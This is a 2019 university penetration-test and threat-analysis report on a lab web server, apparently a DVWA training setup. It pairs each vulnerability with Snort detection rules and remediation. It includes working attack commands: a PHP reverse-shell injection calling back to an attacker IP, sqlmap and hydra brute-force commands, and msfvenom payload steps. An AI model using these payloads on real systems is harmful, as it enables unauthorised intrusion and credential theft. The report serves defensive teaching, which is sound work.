ENPM808 Independent Study Final Report - amaster 2019

1 | P a g e
Threat Analysis Report for
ENPM808 Summer 2019
Analyst: Alexander Master
amaster@terpmail.umd.edu
https://github.com/amaster42/
Published: 18 August 2019

2 | P a g e
Table of Contents
Threat Analysis Report.......................................................................................................................3
1. Executive Summary...............................................................................................................................3
2. Information Gathering..........................................................................................................................3
3. Reconnaissance and Enumeration........................................................................................................3
4. Findings and Reccomendations ............................................................................................................4
5. Conclusions and Future Research.......................................................................................................26
Appendix 1 - Resources....................................................................................................................27

3 | P a g e
Threat Analysis Report
1. Executive Summary
Alexander Master was tasked with performing an internal penetration test and threat assessment for
enpm808 LLC. One web server in particular was of special interest to the associates at enmp808. During
the course of the assessment at least nine major categories of vulnerability were discovered on the web
server. The Red Team recorded and presented each vulnerability and proof of concept code as to how it
could be exploited by an attacker. Our analyst then presented threat analysis of how local defenders in
the Information Security department of enmp808 could implement technical measures on how to
detect malicious activity, specifically the methods in which the Red Team exploited the vulnerable web
services on their servers. Finally, the analyst also provided recommendations for remediation steps that
the Information Technology staff can use when patching or replacing web services to prevent them from
being able to be exploited in the same fashion moving forward.
2. Information Gathering
The information gathering portion of a penetration test focuses on identifying the scope of where
analysis will be done on the network. The IP addresses within the scope and rules of engagement (ROE)
for this report were:
Production Network - VLAN 1
10.11.12.0/24
ROE and reporting procedures were discussed and codified in writing prior to execution of exploit
attempts or traffic collection. Red Team and analysts utilized hypervisor snapshots to maintain integrity
of production systems during and after testing.
3. Reconnaissance and Enumeration
The reconnaissance and enumeration portion of an assessment focuses on gathering information about
what services are available and active on systems. This is valuable for an attacker as it provides detailed
information on potential attack vectors into a system. Understanding what applications are running on
the system gives an attacker the necessary information before exploiting a system service or application.
Highlighted ports/services are of interest for security vulnerabilities.
Server IP Address - hostname Ports Open
10.11.12.2 - ubuntu
(enpm808 web server)
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu
Linux; protocol 2.0)
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))

4 | P a g e
4. Findings and Recommendations
Vulnerable System: 10.11.12.2 - hostname: ubuntu
Vulnerability #1: Arbitrary remote code execution (via PHP)
Severity: Critical
Vulnerability #1 Explanation: The web application called cmd.php on the server allows for arbitrary
code execution on the server. It is intended to allow users to “ping” other hosts, using php to interact
with the underlying operating system. However, the web form does not sanitize user input to only allow
for input of an IP address (ie XXX.XXX.XXX.XXX format). Using characters and commands associated with
bash an attacker can execute code to enumerate the system, and ultimately execute code to gain
access.
Image 1 - Manipulation of commands to identify users
Image 2 - Further enumeration

5 | P a g e
Input into webform: ; php -r '$sock=fsockopen("10.11.12.10",443);exec("/bin/bash -i <&3 >&3 2>&3");'
Image 3 - Use of PHP code to connect back to an attacker’s machine
Image 4 - Further survey of the server after local access achieved, plaintext passwords found
By abusing the capability of the web application, Red Team was able to gain access to the server and
execute arbitrary commands. They also found plaintext credentials present in files the /var/www/html
among other web applications, specifically for the mysql database. Although the team was not able to

6 | P a g e
escalate to root level privileges, the amount of disclosure or destructive capability attackers could
exploit due to this vulnerability is of paramount concern.
Threat Analysis: Attacks to gain access to unauthorized systems are often limited by the normal
operation of the underlying operating system on which the software is running. In this case, only select
shells are included with ubuntu distributions, such as /bin/bash. The attacker is misusing the php
application available to execute aribtrary bash commands on the system, to gain an initial foothold to
continue to interact with the system. If the system can detect system commands in http packets
traversing the network (not normal operations) admins can detect potentially malicous activity. The
below images depict the malicious php code as it appears in tcpdump capture of packets, as well as a
crafted Snort rule to detect portions of the code as it traverses the network.
Image 5 - malicious php reverse shell code observed in pcap capture
alert tcp any any <> 10.11.12.2 80 (content:"%28%22%2Fbin%2Fbash"; msg:"possible malicious
C2/reverse shell attempt"; sid:1000004)
Image 6 - Snort rule to detect any bash shell commands transmitted plaintext in http

7 | P a g e
Image 7 - Snort alert sucessful detection of php reverse shell
Remediation: Remove this application from the production environment, if feasible from a business
perspective. Admins should already have access to icmp tools at their workstations, and introducing a
method of command injection into the environment that all users can access is a bad security practice. If
there is a legitimate use case for this application, the developers should take it down and implement
user input sanitization before hosting it live again on the web server.
Credentials Harvested: Yes
Denial of Service: No
user access (limited): Yes
root or SYSTEM level access: No
Vulnerability #2: SQL injection
Severity: High
Vulnerability #2 Explanation: The web application called sqli.php allows for arbitrary injection of values
in the “id” field of the http request. Abusing this oversight, attackers can disclose information from the
backend database that was never intended to be disclosed via the web page, such as user password
hashes. Furthermore, weak passwords coupled with standard hashing functions can allow for easy
cracking of the disclosed hashes, revealing the plaintext versions of user passwords.
Exploit Proof of Concept:
Using sqlmap:
sqlmap -u http://10.11.12.2/sqli.php?id=1 --fresh-queries

8 | P a g e
Image 8 – sqlmap output
Image 9 - admin hashed password
Image 10 - admin password plaintext

9 | P a g e
Image 11 - Gordon Brown’s password hash (unintended access via web app)
Image 12 – Gordon Brown’s plaintext password
Image 13 - Summary of creds harvested
Threat Analysis: There are commonalities between vulnerability scanners and actual exploit attempts as
they traverse a network that can be used to detect for their presence at the network, host, and
application layers. Signatures from attack tools, specific data values inherent to the underlying
technology, or indicators of compromise (IOCs - ie specific IP addresses, hash values, html response
sizes, port values, etc) can be used to detect anomalous or malicious activity. Our team recommends
that the local defenders implement a series of snort rules, as depicted below, to increase defense-in-
depth posture and detection at the network layer.

10 | P a g e
alert tcp any any -> 10.11.12.2 80 (content:"|55 73 65 72 2D 41 67 65 6E 74 3A 20 73 71 6C 6D 61|"; msg:"sqlmap vulnerability scan detected via user-agent string";
sid:1000001)
alert tcp any any -> 10.11.12.2 80 (content:"%27"; content:"|47 45 54|"; depth:512; msg:"possible sqli attempt - shady single quote(s) in URL"; sid:1000002)
alert tcp any any -> 10.11.12.2 80 (content:"%22"; content:"|47 45 54|"; depth:512; msg:"possible sqli attempt - shady double quote(s) in URL"; sid:1000003)
Image 14 - Proposed snort rules for SQLi attempts
Image 15 - Snort live detection of sqlmap attempts, using rules above

11 | P a g e
Image 16 - SQLi attack “on the wire”
The first of the above rules inspects packets for the hex byte representation of the ascii value “User-
Agent sqlmap” in the tcp packets inbound to the web server. The value identified in the vulnerability
scan from the sqlmap version in kali linux at the time of this assessment for user agent string was
“sqlmap/1.38# stable (http://sqlmap.org)”. This rule will alert when attackers are attempting to
enumerate the organizations web applications that utilize sql-based databases using the widelty
available sqlmap tool. There is nearly never a use-case where sqlmap would be passed as a user-agent
string to the server (with the exception of a security assessment), and can be categorized as malicous
intent. However, most attackers will obfuscate their traffic my masking their user-agent to reflect a
common web browser, one that most organizations likely use themselves and would never think to
block or set alerts on because they would become saturated with false positives. This can easily be done
in sqlmap by simply adding a “--agent-random” to the end of the command. (In our testing, sqlmap
generally always used an outdated version of Windows-based firefox as it’s user-agent for scans). To
deal with this, the second and third Snort rules inspect the first 512 bytes of each TCP packet inbound
for the web server, and inspect that portion for the hex byte representation of “GET” to find http get
requests, and also match for the “%27” and “%22” (which are single quotation mark and double
quotation mark in ascii, respectively) in the URL of the request to detect for SQLi. In many injection
attacks, an attacker will attempt to exploit lack of sanitization of input and pas characters normally
associated with the database on the backed. In this instance with the sqli.php/sqli-blind.php servers,
passing a value for id as something like “id=’ UNION “ etc etc in hopes that the application will disclose
more information than intended. While these two rules will not catch all SQLi attempts, they are a great

12 | P a g e
start and will likely catch the attacks that would allow attackers to divulge credentials from these two
web applications specifically.
Remediation: Remove this application from the production environment, if feasible from a business
perspective. If it is required for business processes, implement access control lists (ACLs) to limit the
subnets/host that can access the service, and remove it from public facing network interfaces so
attackers from outside the organization cannot exploit it (unless they have already compromised
another internal system). In the long term, implement a more secure method to store and distribute
credentials using current industry best practices.
user level access (limited): No
Vulnerability #3: SQL injection
Severity: High
Vulnerability #3 Explanation: The web application called sqli-blind.php is vulnerable to the same abuse
as in vulnerability 2 above. Upon inspection, the database values and credentials exposed were the
same as in sqli.php.
Threat Analysis and Remediation: The snort rules in Image 14 will detect vulnerability scanning and
exploit attempts by attackers at the network level for both applications.
user access (limited): No
Vulnerability #4: Weak Password
Severity: Critical
Vulnerability #4 Explanation: The DVWA web application is externally facing on the organization’s web
page, and can be easily brute-forced using a program called hydra.

13 | P a g e
hydra -l admin -P /usr/share/wordlists/rockyou.txt -f -V 'http-post-
form://10.11.12.2/DVWA/login.php:user=^USER^&pass=^PASS^:Login failed'
Image 17 - Hydra command used to brute-force the password to DVWA web app
Image 18 - Successful login into DVWA

14 | P a g e
The hydra command above uses multiple pieces of information gleaned by Red Team in order to narrow
down the scope of the brute-force attack. They used “admin” as the username input as it is extremely
common among web applications. Then they used the rockyou.txt wordlist that comes with kali linux,
which contains thousands of popular passwords that could potentially be the target’s password. Looking
at the HTTP GET request to search for field names to discover how to pass data for each field, and finally
after having observed a failed login, telling the program to watch for a login pair that does not result in a
“Login failed” response. When it finds a pair with a different output, we can presume we have a
successful match!
Vulnerability #5: Weak Password
Severity: High
Vulnerability #5 Explanation: The web application at DVWA/vulnerabilities/brute/ is susceptible to the
same attack methodology as vulnerability 4. In fact, it has the same username and password pair, so it
would also classify as password re-use. Intelligent attackers will keep track of all credentials gained
throughout an attack campaign, and it will make compromise of additional systems much easier if the
same usernames and passwords are found on disparate systems.
Image 18 - Example of incorrect login

15 | P a g e
hydra -l admin -P /usr/share/wordlists/rockyou.txt -f -V 'http-post-
form://10.11.12.2/DVWA/vulnerabilities/brute/:user=^USER^&pass=^PASS^:incorrect'
Image 19 - Hydra brute-force of usernames and passwords against the brute web app in DVWA

16 | P a g e
Image 20 - Sucessful login using brute-forced credentials
Vulnerability #6: Arbitrary remote code execution (via PHP)
Severity: High
Vulnerability #6 Explanation: The web application at /DVWA/vulnerabilities/exec/ is vulnerable to the
same flaw as cmd.php, in which arbitrary code can be executed via php on the underlying operating
system.

17 | P a g e
Image 21 - Arbitrary commands executed using “; ifconfig”
Image 22 - PHP code for reverse shell in web app

18 | P a g e
Image 23 - Shell on attacking machine for www-data user on 10.11.12.2
Threat Analysis and Remediation: The threat analysis and remediation recommendations for this
vulnerability are same as those for vulnerability 1.
Credentials Harvested: No
Vulnerability #7: cross site request forgery (CSRF)
Severity: High
Vulnerability #7 Explanation: The web application at DVWA/vulnerabilities/csrf/ allows authenticated
users to change their passwords. However, an attacker can also use inherent aspects of the http request
to be able to use the samer functions but control the flow of information. In the below examples, Red
Team demonstrated how they could create an html web page, host it from an attacking box that looks
innocuous, but in the background is changing the user’s password to a value of the attacker’s choice,
without the user’s knowledge. The attacker can then sit back and wait to use their newly found
credentials.

19 | P a g e
Image 24 - DVWA/vulnerabilities/csrf/
Image 25 - hosting malicious website

20 | P a g e
Image 26 - Malicious website in browser
Image 27 - Password is now “woop”
Threat Analysis and Remediation: It is recommended that the system admins implement a more secure
web application for password resets that makes use of token-based authentication to discourage
attackers. Additionally, encryption algorithms can also be implemented with the tokens to make the
system even more difficult to replay and abuse authenticated user privileges.
user access (limited): No

21 | P a g e
Vulnerability #8: Remote File Inclusion
Severity: Critical
Vulnerability #8 Explanation: In the web application page /DVWA/vulnerabilities/fi is vulnerable to a
well-documented technique in which attackers can exploit the fact that the page uses user supplied data
to point to the files it runs server-side. The allow_url_include = On parameter allows the web application
to execute these includes. Using data obtained from the client side as shown below, an attacker can
inject php code that will allow for arbitrary remote code execution.
Image 28 - Cookie php session information used to exploit the application

22 | P a g e
Image 29 - Metasploit module designed to exploit php_include
Threat Analysis and Remediation: Recommend that system admins turn off the allow_url_include
function of php in the apache webserver. Also recommend not relying on user input (ie the URL of the
webpage) for direction to files. This will drastically reduce the attack surface of the web app.
One example of a snort rule that could be implemented to detect meterpreter sessions via http is shown
below:
alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg:"Metasploit Meterpreter";
flow:to_server,established; content:"RECV"; http_client_body; depth:4; fast_pattern;
isdataat:!0,relative; urilen:23<>24,norm; content:"POST"; pcre:"/^/[a-z0-9]{4,5}_[a-z0-9]{16}/$/Ui";
classtype:trojan-activity; reference:url,blog.didierstevens.com/2015/05/11/detecting-network-traffic-
from-metasploits-meterpreter-reverse-http-module/; sid:1618008; rev:1;)
The rule works by detecting hardcoded characteristics found in the POST request used my metasploit,
and can often be detected even if encryption is utilized as the first couple packets are plaintext as the
connection initiates. Full credit for the above rule goes to Didier Stevens (see appendix 1 for web link to
his work)

23 | P a g e
Vulnerability #9: File upload abuse
Severity: Critical
Vulnerability #9 Explanation: The web app located at /DVWA/vulnerabilities/upload/ allows for users to
upload files to the server. It also shows the user where the files land, which happens to be web
accessible also. This lends itself for an attacker to create malicious code, upload, and attempt to execute
it.
Image 30 - Create a php payload with msfvenom that will call back to the attacking box
Image 31 - Upload the malicious payload – they even give us the URL where it dropped them on the
server….

24 | P a g e
Image 32 - Execute the payload by browsing to it, and catch the reverse shell with metasploit
Threat Analysis and Remediation: For threat analysis, please see vulnerability 8. For remediation
recommendations, the system admins need to implement more secure file upload capability, if it is truly
needed for a business use-case. Generally, users to not need to know where their file is stored on the
system once submitted, and it should not be disclosed. It should also not be stored within a publicly
available directory such as /var/www/html, co-located with the web app currently in use, which allowed
the attackers to upload and run arbitrary code of their liking to gain access.
Finally, from a server perspective, servers should generally not initiate connections themselves
outbound to clients, this is not normal behavior for a server to do. Intermediary network devices like a
pfsense firewall could be configured to drop connections that are initiated server-side to a client, and

25 | P a g e
only allow normal behavior to pass, such as a TCP SYN from a client initiating connection with the server.
This could also prevent some exploits from occurring.
5. Conclusions and Future Research
Computer systems, and the software run on computer systems, are wrought with security
misconfigurations and vulnerabilities. Even the most dedicated staff that invests enormous amounts of
time and energy into patching their systems to the newest versions of software must still worry about
security. A simple misconfiguration on a server is enough to allow an attacker to introduce malicious
code into an environment and compromise a system.
Using a defense-in-depth strategy can help to mitigate risk in information security systems.
Administrators can begin by making sure their software is patched. Next, host-based security solutions,
such as host-based firewalls and web application firewalls, can be implemented to catch anomalous or
malicious activity at the application and transport layer. Network monitoring solutions, such as IDSs and
IPSs, can detect suspicious code as it traverses at the network layer. And finally, firewalls at the edge of
distinct networks can implement rules to drop or block traffic on ports that should not be used, direct
traffic in ways that make sense (ie, a server should not initiate a connection to a client, and can be
flagged as potentially malicious), and segment traffic in a need-to-know fashion.
Snort rules can serve as an intrusion detection system on a network and provide great insight as to what
is happening on your network. It is open-source, free, and the community can contribute signatures as
emerging and polymorphic threats are discovered on the Internet. Snort can be implemented on a
server, or as an in-line network device between servers and hosts, or even installed as a plugin on a
firewall (ie pfsense). Snort does have its downsides though. Rules in snort can become stale, depending
on how specific they are defined. If rules utilize certain regular expressions or content filtering, they can
be very computationally intensive and slow down services for end users. If rules are written too broadly,
they can generate large numbers of false positives, making it difficult for security analysts to derive any
value out of the detection at all.
The focus of this independent study focused largely on the penetration testing aspect of a vulnerability
assessment, as well as doing threat analysis and implementing technical measures at the TCP level
(network layer) using Snort to detect malicious activity. For future research, I would like to expand my
signature writing to more host-based detection strategies, such as YARA rules. I would also like to learn
to implement measures such as ModSecurity, which serves as a web application firewall, filling the gap
in detection between host-based and network-based monitoring solutions.

26 | P a g e
Appendix 1 - Resources Used
Below is a listing of resources utilized during this project for research and analysis.
https://nvd.nist.gov/vuln-metrics/cvss
https://blog.didierstevens.com/2015/05/11/detecting-network-traffic-from-metasploits-meterpreter-
reverse-http-module/
https://paginas.fe.up.pt/~mgi98020/pgr/writing_snort_rules.htm
https://crackstation.net/
https://stackoverflow.com/
kali linux
nikto
hydra
netcat
Metasploit
Msfvenom
Tamper Data
Snort
ssh

27 | P a g e
VMware ESXi environment
Apache Guacamole interface with kali

ENPM808 Independent Study Final Report - amaster 2019

Recomendados

Recomendados

Mais conteúdo relacionado

Mais procurados

Mais procurados (18)

Semelhante a ENPM808 Independent Study Final Report - amaster 2019

Semelhante a ENPM808 Independent Study Final Report - amaster 2019 (20)

Último

Último (20)

ENPM808 Independent Study Final Report - amaster 2019